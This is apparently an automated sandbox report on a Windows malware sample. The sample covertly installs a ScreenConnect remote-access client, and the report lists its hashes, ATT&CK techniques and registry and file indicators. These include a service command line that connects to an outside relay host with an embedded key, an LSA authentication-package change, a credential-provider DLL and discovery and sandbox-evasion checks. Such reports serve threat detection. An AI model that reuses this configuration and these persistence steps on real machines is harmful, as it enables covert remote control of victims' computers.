b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07/01/2025, 20:30 UTC

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe
Size

5.4MB
MD5

70d47fa2e078f04400d3d1b236245678
SHA1

987aa3368265fc300b10b4128d8367c3d7a29c6c
SHA256

b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b
SHA512

a078ec2aa08f1928b7cef2b3b17e02e5a52860dd684ad798ab8aca0a55d1069f45e27497fabf15c4e932299fe206ed4e49085848a1bc3ae087b13ece36f768e2
SSDEEP

49152:AEEL5cx5xTkYJkGYYpT0+TFiH7efP8Q1yJJ4ZD1F5z97oL1YbGQ+okRPGHpRPqM8:pEs6efPNwJ4t1h0cG5FGJRPxow8O

Score

8^/10

discovery persistence privilege_escalation

Malware Config

Signatures

Sets service image path in registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (484f9eed1d8e13b9)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (484f9eed1d8e13b9)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=slplegalfinance.com&p=443&s=50e7fa5f-a88d-4b97-8e23-8be133002a79&k=BgIAAACkAABSU0ExAAgAAAEAAQDVyeZoBLn8WdM6xWDr4b0uAsUBfhP2EJOSdZugmbrUWVWehsUh2LvfCfwDYGcJBhcBEWS%2fDmahaCPw1tkv%2f%2bw18TIjThn%2bQ%2feZavwugcHDfdkaqKi0LnYdddcCsozuL7%2bVQevv9snFAHOiSjLD7xdNlPMSw%2bw682fIJIkr8XbdhPPukmg4Ksp6Kf1Xba7KkmNnwSS1MRXckDb%2f1hQrUI%2fSZZdGbJvZ3tc%2f3CR0LXLnGeCLG7Dt5iRIHwzJf5XuTInHiPesoO6bSk%2bUfoeCYO3BjvU6pRL6UKY08mjZ7e%2b6FOQb4acTm6QTR9K%2fsvFdvWQ%2br7EyKwXpSy6iTh4x7%2f%2bv&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAAA4iXvXhIwkue9KP0bFATpAAAAAACAAAAAAAQZgAAAAEAACAAAAAiOLMoft5mYbcggqETyBoKs4QIk8mbLpW5rMzkjoKDDwAAAAAOgAAAAAIAACAAAABFZsvZJvGVWeEY5SQfBmood9yi2vqu0ds3%2bUlsRkfi66AEAAAE6B1egHGaNkQrKOJk4Nej0XcSHikeg7mes30pPm2RNa28cl%2fPUv%2fU48f3VSaOqZxHsfPgRJLIOrBAnIxILzOWoxDp4geBhz4vXSRxYqz9jpY%2fobidZ7dxz8xdKQA%2fsIgnWIolGRnybULxWjTCjPZ2SUDJo81rHs899RzRmglySJ9yoMbjaT%2bJcUNOpiOq9FAwjSnwpqUFUzq5PP9jKxZ1IE5Dgk64ayuxGw4UNyLE2lhSEnO2f97Mvo1Z7VJQ7U5%2bUyoVFaa%2bE74YpbEajOW6aDUxL4axdOGG8VkYATg72iyuiLWpVhnZ4wvmJFDPzGdcnZ0LmmH5VHP4DIfGXTs6vpKdQcHrI%2bC0WTlprXDXDm29taqan4xCMCVhs08gHXRfbjqGUx0rqA0Z4%2b8nCtGf3RHRKd8OkzdyluPN9a9LOrPZGTORsfnlCjCBeJjxlkHmznGcgCnpFauaNqD6W68rTxOU5MLuuGdsU3VT7%2fNzgmCTO31KY2o1nYTYZdVYWz5loxEYTbjYdwcPsh35T0vRt9yk%2bYsUCqksMbPQVZGUerWPIPs0w95dF4MubjYZI22kcwMen0t7Alv5j6pjYJFwPMXDSL4gR3w65TXPhjFXH3FSJ1JLJYMzr4Yjrjv0BRri7YZit9UQK0cmW1ivFG1FEzNelRyUIrwokGh4yFTnNEId3eYPPgJkLQLmXgi6HxERS%2bzAFJ%2fpw0NFCpN9VXg35pKkB6Y0FUo2COV7ClsQBbCWWgts8pCeIZ6gLFXXAc4JNjOoIVaSelFe%2fTYpqi9%2fDTAHv%2bu%2bRX%2bGar%2bEAPUIDoiBii415J8xSaEUoriz5jUmD99EjL%2bzYSzmPsoo1OlcVeBxFvAKdcGDiQzZm3FjtMepbn9NWoSx%2bbCCD7%2fnMFrj%2b1u0lJnaYhP6orlz2ln9ZsNLqVWMkb7W48X4bOs6B48jkQZA%2bAr2ZGGhlBMUYojrKNlWndhpycSfxtwEqrb0zDW4t3Y09WzkvMuEcFn3cMghYqS7i1E3cERvpEV5S52XaSl3PShQwkjfWhmI%2fgoPc01H7eWFB1Q7W%2bcSOdyTd0joMkoMnNO1LscgkVgjX0wniig9O%2f4%2b3%2bTuMS%2fr6SdPCf%2bo3lXdp%2fYpu7LrCvwwbreoiPM77s5cn5RiuQBcxgHUjinwIuRqwN1C3zkhOIzTFyWB50OC5jnHrLnt5YsORpUWRl3vaxDDAK%2bEaXobbM8X3WH9uTn7YWZDbYB3pjy%2f3L7BJSsmIyHLgwPJSN0WTEEWedj8aW2eZM89jLR0WZKMPL0RJqZFB8%2fIvw4Uar1o3l%2fmK852fm7EHxWhFqpfMc%2fi%2fs4%2fPHIMuHnFomRyoU1X%2fTbBMUNKfF%2bqwxJ7s4lTZL3JQzZv6YsFsXSS%2fXIT4ozewP2BvfSPdmRiMlG%2fHimQDFhT%2bSM1m2duRpJUDqbC5WOJPbo%2fo%2bUZjyYU0%2bXAaNDWZAAjUBZIja5CiIck5lmJytC63ZQz1k%2bmFGP8Go%2fMLzHrR%2bhUTQw%2bBuaOR0HDSBk89%2brhxY4bIzsIvL4wrG6AUmzx%2fkjR80rliZafMnWjAgXMIx5KFIa1Zv%2fvprIky0AAAADOu6ZxtnJLN8X3zLzg%2biNkHNZTBjq57t3PWq6QvvZU%2bp3WFKfnXTBgKe6rnsR6LQcBEuUR3E3HuPYF68GRq8%2fl\""	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe

Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

Suspicious Windows Authentication Registry Modification.

persistence privilege_escalation

Authentication Package

T1547.002

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\Authentication Packages = 6d007300760031005f003000000043003a005c00500072006f006700720061006d002000460069006c00650073002000280078003800360029005c00530063007200650065006e0043006f006e006e00650063007400200043006c00690065006e00740020002800340038003400660039006500650064003100640038006500310033006200390029005c00530063007200650065006e0043006f006e006e006500630074002e00570069006e0064006f0077007300410075007400680065006e007400690063006100740069006f006e005000610063006b006100670065002e0064006c006c0000000000	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\cpop2ex2.newcfg	ScreenConnect.ClientService.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log	ScreenConnect.WindowsClient.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (484f9eed1d8e13b9)\cpop2ex2.tmp	ScreenConnect.ClientService.exe

Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
persistence privilege_escalation

Component Object Model Hijacking
T1546.015

Drops file in Program Files directory 19 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.Core.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsAuthenticationPackage.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsCredentialProvider.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (484f9eed1d8e13b9)\Client.resources	msiexec.exe

Drops file in Windows directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e57b6fc.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB7E6.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIBAC6.tmp	msiexec.exe
File created	C:\Windows\Installer\{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\e57b6fc.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIB816.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e57b6fe.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}\DefaultIcon	msiexec.exe

Executes dropped EXE 3 IoCs

pid	Process
1684	ScreenConnect.ClientService.exe
2032	ScreenConnect.WindowsClient.exe
2600	ScreenConnect.WindowsClient.exe

Loads dropped DLL 22 IoCs

pid	Process
4160	MsiExec.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
4860	rundll32.exe
5112	MsiExec.exe
2008	MsiExec.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000c4d65e62b69e8e0b0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000c4d65e620000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900c4d65e62000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1dc4d65e62000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000c4d65e6200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe

Modifies registry class 37 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell\open	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\729B1D8B94B33F2E6FF31B5B06ECECD3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\URL Protocol	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell\open\command	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-484f9eed1d8e13b9\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\ProductIcon = "C:\\Windows\\Installer\\{B8D1B927-3B49-E2F3-F63F-B1B560CECE3D}\\DefaultIcon"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Net	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (484f9eed1d8e13b9)\\ScreenConnect.WindowsClient.exe\" \"%1\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (484f9eed1d8e13b9)\\ScreenConnect.WindowsCredentialProvider.dll"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-484f9eed1d8e13b9	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-484f9eed1d8e13b9	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Version = "402849799"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\729B1D8B94B33F2E6FF31B5B06ECECD3\Full	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6FABB7C21E8BF1EE84F4E9DED1E8319B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\6FABB7C21E8BF1EE84F4E9DED1E8319B\729B1D8B94B33F2E6FF31B5B06ECECD3	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\484f9eed1d8e13b9\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-3A73-5AC4396425A8}\ = "ScreenConnect Client (484f9eed1d8e13b9) Credential Provider"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\PackageCode = "729B1D8B94B33F2E6FF31B5B06ECECD3"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\Language = "1033"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\484f9eed1d8e13b9\\"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\729B1D8B94B33F2E6FF31B5B06ECECD3\ProductName = "ScreenConnect Client (484f9eed1d8e13b9)"	msiexec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4952	msiexec.exe
4952	msiexec.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe
1684	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4764	Sigmanly_b0a8d541b650ffff1bb4b3690af389e52b1675212129560dbe33038b1041266b.exe
Token: SeShutdownPrivilege	5100	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5100	msiexec.exe
Token: SeSecurityPrivilege	4952	msiexec.exe
Token: SeCreateTokenPrivilege	5100	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5100	msiexec.exe
Token: SeLockMemoryPrivilege	5100	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5100	msiexec.exe
Token: SeMachineAccountPrivilege	5100	msiexec.exe
Token: SeTcbPrivilege	5100	msiexec.exe
Token: SeSecurityPrivilege	5100	msiexec.exe
Token: SeTakeOwnershipPrivilege	5100	msiexec.exe
Token: SeLoadDriverPrivilege	5100	msiexec.exe
Token: SeSystemProfilePrivilege	5100	msiexec.exe
Token: SeSystemtimePrivilege	5100	msiexec.exe
Token: SeProfSingleProcessPrivilege	5100	msiexec.exe
Token: SeIncBasePriorityPrivilege	5100	msiexec.exe
Token: SeCreatePagefilePrivilege	5100	msiexec.exe
Token: SeCreatePermanentPrivilege	5100	msiexec.exe
Token: SeBackupPrivilege	5100	msiexec.exe
Token: SeRestorePrivilege	5100	msiexec.exe
Token: SeShutdownPrivilege	5100	msiexec.exe
Token: SeDebugPrivilege	5100	msiexec.exe
Token: SeAuditPrivilege	5100	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5100	msiexec.exe
Token: SeChangeNotifyPrivilege	5100	msiexec.exe
Token: SeRemoteShutdownPrivilege	5100	msiexec.exe
Token: SeUndockPrivilege	5100	msiexec.exe
Token: SeSyncAgentPrivilege	5100	msiexec.exe
Token: SeEnableDelegationPrivilege	5100	msiexec.exe
Token: SeManageVolumePrivilege	5100	msiexec.exe
Token: SeImpersonatePrivilege	5100	msiexec.exe
Token: SeCreateGlobalPrivilege	5100	msiexec.exe
Token: SeCreateTokenPrivilege	5100	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5100	msiexec.exe
